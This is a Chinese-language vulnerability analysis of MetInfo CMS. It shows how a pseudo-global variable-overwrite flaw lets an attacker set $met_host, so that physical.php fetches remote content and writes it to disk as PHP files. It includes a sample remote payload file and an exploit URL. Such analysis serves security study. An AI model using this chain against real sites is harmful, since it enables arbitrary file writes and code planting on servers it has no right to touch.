整体思路
- 挖掘伪全局变量
- 然后找可控参数进行利用#伪全局变量:可理解为全局变量,例部分CMS为了全局过滤SQL注入或者XSS之类的漏洞就会将GET、POST、COOKIE等请求借入全局然后直接过滤。这样就做到了全部统一过滤SQL、XSS等漏洞
实例:
参考链接:http://www.91ri.org/16663.html
前言:
- Metlnfo正是一个伪全局的CMS。
- /admin/include/common.inc.php第24行即可看出Metlnfo是伪全局了。
-
1 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 2 isset($_REQUEST['GLOBALS']) && exit('Access Error'); 3 require_once ROOTPATH.'include/global.func.php'; 4 foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 5 foreach($$_request as $_key => $_value) { 6 $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); 7 $_M['form'][$_key] = daddslashes($_value,0,0,1); 8 } 9 }
且如上的第6行还存在变量覆盖漏洞。(也就是说如果有什么危险的变量在没有被赋值的情况下可以使用这个漏洞去将其赋值)
开始分析:
漏洞文件:/admin/app/physical/physical.php
1 $post=array('ver'=>$metcms_v,'app'=>$applist); 2 $result=curl_post($post,60); 3 if(link_error($result)==1){ 4 $results=explode('<Met>',$result); 5 file_put_contents('dlappfile.php',$results[1]); 6 file_put_contents('standard.php',$results[0].$results[1]); 7 }
如上代码所示,第5、6行中的file_put_contents中有两个参数,如果$results可控那么可能就可以造成远程文件写入的漏洞。那么我们追踪$results,因为$results是在curl_post函数中得到的,所以我们追踪这个函数。
我将鼠标放至该函数便可追踪到其来源。有三个文件。
1 /include/export.func.php 2 app/system/include/class/curl.class.php 3 install/index.php
第二个跟第三个均未被包含在这个文件。那么我们就锁定在/include/export.func.php文件当中
1 <?php 2 # MetInfo Enterprise Content Management System 3 # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 4 /*发送POST*/ 5 function curl_post($post,$timeout){ 6 global $met_weburl,$met_host,$met_file; 7 $host=$met_host; 8 $file=$met_file; 9 if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){ 10 $curlHandle=curl_init(); 11 curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 12 curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl); 13 curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 14 curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout); 15 curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout); 16 curl_setopt($curlHandle,CURLOPT_POST, 1); 17 curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post); 18 $result=curl_exec($curlHandle); 19 curl_close($curlHandle); 20 }
第7行当中的$met_host并未赋值即为可控(无论是在export.func.php还是在physical.php当中)。$met_file在physical.php当中有进行赋值。(这两个变量是在export.func.php的第当中7、8有进行定义)
所以得出$met_host可控,而$met_file不可控。
回来看这个漏洞所在的地方。
在122行必须要满足physical[11] == 1才能执行这个漏洞。那么看一下如何才能成立。
往physical这个文件的开头看去终于找到了。
当action为do的时候等于$physicaldo[11] == 1
所以构造出payload为
首先现在远程服务器上新建一个standard.php
内容为:
1 metinfo 2 3 <Met> 4 5 <?php 6 echo "Joseph"; 7 ?> 8 9 <Met> 10 11 <?php 12 echo "<?php phpinfo();?>"; 13 ?>
physical.php?action=do?met_host=127.0.0.1
漏洞还是挺鸡肋。不支持远程写入也是没法儿的。